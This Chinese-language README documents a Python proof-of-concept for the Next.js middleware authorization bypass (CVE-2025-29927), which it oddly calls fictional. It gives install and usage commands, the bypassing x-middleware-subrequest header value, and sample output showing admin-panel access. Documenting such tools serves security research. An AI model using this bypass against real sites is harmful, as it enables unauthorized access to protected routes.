这是一个针对虚构的 Next.js 中间件绕过漏洞 (CVE-2025-29927) 的概念验证。仅用于教育和授权的安全研究。
| 功能 | 描述 |
|---|---|
| ✨ 颜色与详细输出 | 彩色输出;使用 -v 显示详细调试日志。 |
| 📦 面向对象结构 | 基于类的设计,清晰且易于维护。 |
| 🌐 代理支持 | 通过 --proxy 路由 HTTP(S) 代理流量。 |
| 🍪 会话处理 | 使用持久化的 requests.Session 处理 Cookie 和连接复用。 |
| 🚦 重定向控制 | 默认不跟随重定向;清晰检测通过或失败。 |
| 🛠 自定义头部 | 覆盖 User-Agent、x-middleware-subrequest 或添加自定义头部。 |
# 克隆仓库
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (可选)创建虚拟环境
python3 -m venv .venv
source .venv/bin/activate
# 安装依赖
pip install -r requirements.txt
需要 Python 3.7+
python poc.py [options] <host>[:port]
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
成功
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
失败
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
| 选项 | 描述 |
|---|
-p, --path PATH | 受保护的路由路径(默认:/admin) |
-s, --scheme {http,https} | 协议(默认:http) |
--header HEADER | x-middleware-subrequest 头部值(默认:middleware:middleware) |
-ua, --user-agent AGENT | 自定义 User-Agent(默认:Mozilla/5.0) |
--proxy PROXY | HTTP(S) 代理 URL(例如:http://127.0.0.1:8080) |
-v, --verbose | 启用调试输出 |
-h, --help | 显示此帮助信息 |